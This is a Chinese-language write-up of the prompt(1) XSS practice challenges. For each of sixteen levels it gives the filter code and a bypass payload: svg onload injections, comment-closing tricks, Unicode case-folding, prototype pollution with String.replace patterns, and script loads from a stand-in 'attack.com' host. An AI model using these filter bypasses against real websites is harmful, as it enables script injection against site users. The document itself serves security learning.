prompt(1)-writeup

prompt(1) to win XSS在线练习题,每一道都非常有趣,题目都有典型性。官方wiki题解在这里

0x00

1
2
3
4
5
function escape(input) {
// warm up
// script should be executed without user interaction
return '<input type="text" value="' + input + '">';
}

简单双引号闭合,为了使答案最短,可以用svg标签:
"><svg/onload=prompt(1)>

0x01

1
2
3
4
5
6
7
8
function escape(input) {
// tags stripping mechanism from ExtJS library
// Ext.util.Format.stripTags
var stripTagsRE = /<\/?[^>]+>/gi;
input = input.replace(stripTagsRE, '');
return '<article>' + input + '</article>';
}

规则会将</xx>过滤,可以通过不使用>来绕过规则,跟上题一样,可以使用svg标签,这里需要注意的知识点是:为了让onload立即渲染执行,可以通过在后面加上分隔符(空格回车)来执行,所以最终答案为:
<svg/onload=prompt(1)注意末尾要加`或者\n`

0x02

1
2
3
4
5
6
7
function escape(input) {
// v-- frowny face
input = input.replace(/[=(]/g, '');
// ok seriously, disallows equal signs and open parenthesis
return input;
}

规则过滤了 = ( 由于我们使用HTML实体<svg><script>中,或者其他CDATA元素中是会被解析成文本的,所以可以使用HTML实体,绕过(检测,所以最终结果如下:
<svg><script>prompt&#40;1)</script>

0x03

1
2
3
4
5
6
7
function escape(input) {
// filter potential comment end delimiters
input = input.replace(/->/g, '_');
// comment the input to avoid script execution
return '<!-- ' + input + ' -->';
}

可以看见输出被注释<!-- -->包裹,需要闭合注释进行执行,而代码又会过滤->,所以需要知道一些特殊的点:

“… the comment must be ended by the three character sequence U+002D HYPHEN-MINUS, U+002D HYPHEN-MINUS, U+003E GREATER-THAN SIGN (–>).”

在HTML说明中规定注释的结尾必须以-->为结尾,而在HTML5中有些不一样,除了-->之外,--!>也可以闭合!
答案:--!><svg/onload=prompt(1)

0x04

1
2
3
4
5
6
7
8
9
10
11
function escape(input) {
// make sure the script belongs to own site
// sample script: http://prompt.ml/js/test.js
if (/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))) {
var script = document.createElement('script');
script.src = input;
return script.outerHTML;
} else {
return 'Invalid resource.';
}
}

这道题题目限制在prompt.ml/域名下去加载资源,所以是想办法绕过检测机制去加载我们恶意网站的内容,这里需要知道一个知识:

1
2
URL的完整格式
协议类型:[//[访问资源需要的凭证信息@]服务器地址[:端口号]][/资源层级UNIX文件路径]文件名[?查询][#片段ID]

即在url中还有一个访问凭证字段,我们的想法是通过@符号,使浏览器让prompt.ml等内容被识别为凭证信息,从而访问我们的恶意网站,由于使用了decodeURIComponent函数,可以通过使用URLencode进行转义,被decode之后的内容还满足正则表达式,但input本身的%2f会被识别为凭证信息,所以答案应该是:

1
http://prompt.ml%2f@attack.com

0x05

1
2
3
4
5
6
7
function escape(input) {
// apply strict filter rules of level 0
// filter ">" and event handlers
input = input.replace(/>|on.+?=|focus/gi, '_');
return '<input value="' + input + '" type="text">';
}

题目过滤了>和所有事件,有一点需要明确,其正则表达式没有使用多行匹配模式,这一点可以被很多时候利用,还有一点是由于我们所处的位置在type=text之前,所以可以使用type=img将其类型改为image,可以想想type=hidden,然后通过换行绕过正则表达式,答案为:

1
2
"type=image src=# onerror
="prompt(1)

0x06

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
function escape(input) {
// let's do a post redirection
try {
// pass in formURL#formDataJSON
// e.g. http://httpbin.org/post#{"name":"Matt"}
var segments = input.split('#');
var formURL = segments[0];
var formData = JSON.parse(segments[1]);
var form = document.createElement('form');
form.action = formURL;
form.method = 'post';
for (var i in formData) {
var input = form.appendChild(document.createElement('input'));
input.name = i;
input.setAttribute('value', formData[i]);
}
return form.outerHTML + ' \n\
<script> \n\
// forbid javascript: or vbscript: and data: stuff \n\
if (!/script:|data:/i.test(document.forms[0].action)) \n\
document.forms[0].submit(); \n\
else \n\
document.write("Action forbidden.") \n\
</script> \n\
';
} catch (e) {
return 'Invalid form data.';
}
}

常见方式,使用自己定义的同名属性来代替默认字段内容,这样首先会加载我们新创建的字段内容,答案如下:

1
javascript:prompt(1)#{"action":1}

0x07

1
2
3
4
5
6
7
8
function escape(input) {
// pass in something like dog#cat#bird#mouse...
var segments = input.split('#');
return segments.map(function(title) {
// title can only contain 12 characters
return '<p class="comment" title="' + title.slice(0, 12) + '"></p>';
}).join('\n');
}

由题目得通过#进行分割输出且限制长度为12个字符,比较常见方法通过/**/注释来进行构造,答案如下:

1
"><svg/a=#"onload='/*#*/prompt(1)'

0x08

1
2
3
4
5
6
7
8
9
10
function escape(input) {
// prevent input from getting out of comment
// strip off line-breaks and stuff
input = input.replace(/[\r\n</"]/g, '');
return ' \n\
<script> \n\
// console.log("' + input + '"); \n\
</script> ';
}

需要知道一个知识点:

1
2
3
4
Javascript中valid line separators除了\r \n
还有:
\u2028(Line Separator)
\u2029(Paragraph Separator)

所以答案为:

1
test[\u2028]prompt(1)[\u2028]-->

0x09

1
2
3
4
5
6
7
8
9
function escape(input) {
// filter potential start-tags
input = input.replace(/<([a-zA-Z])/g, '<_$1');
// use all-caps for heading
input = input.toUpperCase();
// sample input: you shall not pass! => YOU SHALL NOT PASS!
return '<h1>' + input + '</h1>';
}

这道题比较有意思,过滤了标签的开始,并将内容全部大写了,这里需要知道,unicode码包含了许多国家的语言文字,有一些语言的字母调用Upper函数进行大写,由于没有对应的大写文字,会自动的转换为英文字母,而在url中,协议和域名是不区分大小写的这时,我们就可以进行利用了。
首先,我们可以在控制台写一个循环来查找Upper之后是S的字符。

1
2
3
4
5
6
7
for (i=0;i<=100000;i++){
if (String.fromCharCode(i).toUpperCase()=="S"){
console.log(i)
console.log(String.fromCharCode(i))
}
}

然后用这个字符ſ进行绕过。结果如下:

1
<ſvg><ſcript/href=attack.com>

0x0A

1
2
3
4
5
6
7
8
9
function escape(input) {
// (╯°□°)╯︵ ┻━┻
input = encodeURIComponent(input).replace(/prompt/g, 'alert');
// ┬──┬ ノ( ゜-゜ノ) chill out bro
input = input.replace(/'/g, '');
// (╯°□°)╯︵ /(.□. \)DONT FLIP ME BRO
return '<script>' + input + '</script> ';
}

这种过滤多次一般会存在后者刚好帮前者达成了目的,比较简单:

1
p'rompt(1)

0x0B

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function escape(input) {
// name should not contain special characters
var memberName = input.replace(/[[|\s+*/\\<>&^:;=~!%-]/g, '');
// data to be parsed as JSON
var dataString = '{"action":"login","message":"Welcome back, ' + memberName + '."}';
// directly "parse" data in script context
return ' \n\
<script> \n\
var data = ' + dataString + '; \n\
if (data.action === "login") \n\
document.write(data.message) \n\
</script> ';
}

有一个知识点,在脚本环境中,"string"(alert(1)) 不会报错,且会正确执行,而为了使语法正确,使用in关键字,结果如下:

1
"(prompt(1))in"

0x0C

1
2
3
4
5
6
7
8
9
function escape(input) {
// in Soviet Russia...
input = encodeURIComponent(input).replace(/'/g, '');
// table flips you!
input = input.replace(/prompt/g, 'alert');
// ノ┬─┬ノ ︵ ( \o°o)\
return '<script>' + input + '</script> ';
}

对于encodeURIComponent,其不会编码 .() 可以通过 toString() 构造payload

toString(radix)radix 为 2-36 可以选36使其作为一个进制,将字符包含起来
使用parseInt(str, radix) 将字符转为数字之后使用(number).toString(radix) 然后用eval进行调用 注意number有括号,(number).toString(radix) 可简写为 (numbrer..toString(radix) ,字符之间用concat()连接

1
eval(630038579..toString(30))(1)==eval(prompt(1))

0x0D

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
function escape(input) {
// extend method from Underscore library
// _.extend(destination, *sources)
function extend(obj) {
var source, prop;
for (var i = 1, length = arguments.length; i < length; i++) {
source = arguments[i];
for (prop in source) {
obj[prop] = source[prop];
}
}
return obj;
}
// a simple picture plugin
try {
// pass in something like {"source":"http://sandbox.prompt.ml/PROMPT.JPG"}
var data = JSON.parse(input);
var config = extend({
// default image source
source: 'http://placehold.it/350x150'
}, JSON.parse(input));
// forbit invalid image source
if (/[^\w:\/.]/.test(config.source)) {
delete config.source;
}
// purify the source by stripping off "
var source = config.source.replace(/"/g, '');
// insert the content using mustache-ish template
return '<img src="{{source}}">'.replace('{{source}}', source);
} catch (e) {
return 'Invalid image data.';
}
}
1
>In fact, config.source is equal to config.__proto__.source, this because __proto__ is an accessor property (getter/setter function)

这也是常见的构造相同名称的属性进行绕过替换。知道这一点,我们可以将结果构造成如下形式:

1
{"source":"_-_invalid-URL_-_","__proto__":{"source":"my_evil_payload"}}`

他会理解为:

1
2
3
4
5
6
config = {
"source": "_-_invalid-URL_-_",
"__proto__": {
"source": "my_evil_payload"
}
}

之后,我们的payload已经进入source字段中,但是如果我们无法注入",依旧无法跳出<img src="_posts/prompt-1-writeup.md">,这里需要一个奇技淫巧,String.replace,他有一些特殊的替换规则

Pattern Inserts
$$ Inserts a “$”.
$& Inserts the matched substring.
$` Inserts the portion of the string that precedes the matched substring.
$' Inserts the portion of the string that follows the matched substring.
$n Where n is a positive integer less than 100, inserts the nth parenthesized submatch string, provided the first argument was a RegExp object. Note that this is 1-indexed.

所以,答案为:

1
{"source":{},"__proto__":{"source":"$`onerror=prompt(1)>"}}

0x0E

1
2
3
4
5
6
7
8
9
10
11
12
13
function escape(input) {
// I expect this one will have other solutions, so be creative :)
// mspaint makes all file names in all-caps :(
// too lazy to convert them back in lower case
// sample input: prompt.jpg => PROMPT.JPG
input = input.toUpperCase();
// only allows images loaded from own host or data URI scheme
input = input.replace(/\/\/|\w+:/g, 'data:');
// miscellaneous filtering
input = input.replace(/[\\&+%\s]|vbs/gi, '_');
return '<img src="' + input + '">';
}

这题chrome上好像不行,firefox上使用iframe,src使用base64编码可以达成绕过。

1
"><IFRAME/SRC="x:text/html;base64,ICA8U0NSSVBUIC8KU1JDCSA9SFRUUFM6UE1UMS5NTD4JPC9TQ1JJUFQJPD4=

0x0F

1
2
3
4
5
6
7
8
9
10
11
function escape(input) {
// sort of spoiler of level 7
input = input.replace(/\*/g, '');
// pass in something like dog#cat#bird#mouse...
var segments = input.split('#');
return segments.map(function(title, index) {
// title can only contain 15 characters
return '<p class="comment" title="' + title.slice(0, 15) + '" data-comment=\'{"id":' + index + '}\'></p>';
}).join('\n');
}

同之前的题,利用注释闭合,不同的是,这里使用<!---->,答案如下:

1
"><svg><!--#--><script><!--#-->prompt(1<!--#-->)</script>